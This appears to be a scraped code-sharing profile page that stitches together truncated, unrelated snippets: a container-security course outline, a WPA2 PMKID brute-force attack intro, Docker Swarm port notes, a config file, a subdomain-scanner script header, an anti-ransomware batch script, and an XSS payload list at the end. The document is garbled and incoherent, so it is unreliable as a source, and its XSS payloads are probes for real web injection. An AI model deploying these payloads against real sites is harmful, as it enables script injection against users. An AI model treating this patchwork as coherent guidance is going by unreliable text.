Niels Hofmans hazcod

Red Hat Security: Securing Containers & OpenShift (DO425)

Last update: Tue Jan 14 23:15:49 UTC 2020 by @luckylittle

Objectives

Understand, identify, and work with containerization features
Deploy a preconfigured application and identify crucial features such as namespaces, SELinux labels, and cgroups

Trying to deploy WPA3 on my home network

Introduction

Recently, news broke about a new possible offline attack on WPA2 using PMKID. To summarize the attack, WPA2 protected APs can end up broadcasting PMKID values which can then be used to offline-brute-force the password.

These PMKID values are computed this way:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Docker Swarm Mode Ports

Starting with 1.12 in July 2016, Docker Swarm Mode is a built-in solution with built-in key/value store. Easier to get started, and fewer ports to configure.

Inbound Traffic for Swarm Management

TCP port 2377 for cluster management & raft sync communications
TCP and UDP port 7946 for "control plane" gossip discovery communication between all nodes
UDP port 4789 for "data plane" VXLAN overlay network traffic
IP Protocol 50 (ESP) if you plan on using overlay network with the encryption option

	#!/bin/bash

	# Copyright © 2017 Google Inc.
	# Licensed under the Apache License, Version 2.0 (the "License");
	# you may not use this file except in compliance with the License.
	# You may obtain a copy of the License at
	#
	# http://www.apache.org/licenses/LICENSE-2.0
	#
	# Unless required by applicable law or agreed to in writing, software

	{
	"BTTPresetName" : "master",
	"BTTGeneralSettings" : {
	"BTTPathSampleSize" : 100,
	"BTTCMOnTop" : true,
	"BTTForceForceClickPressure2F" : 700,
	"BSTLeftHalfBlock" : true,
	"BTTMinDrawingMovement" : 2,
	"BTTTouchBarMouseModeClickBlock" : true,
	"BSTRightHalfBlock" : true,

	#!/bin/bash
	# Usage : ./scanio.sh <save file>
	# Example: ./scanio.sh cname_list.txt

	# Premium
	function ech() {
	spinner=( "\|" "/" "-" "\\" )
	while true; do
	for i in ${spinner[@]}; do
	echo -ne "\r[$i] $1"

	#!/bin/bash
	# Usage : ./scanio.sh <save file>
	# Example: ./scanio.sh cname_list.txt

	# Premium
	function ech() {
	spinner=( "\|" "/" "-" "\\" )
	while true; do
	for i in ${spinner[@]}; do
	echo -ne "\r[$i] $1"

	::
	::#######################################################################
	::
	:: Change file associations to protect against common ransomware attacks
	:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell
	:: Alternatively, you can right-click on them and hit 'Run as Administrator' but ensure it's a script you want to run :)
	:: ---------------------
	ftype htafile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
	ftype WSHFile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
	ftype batfile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"

	%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">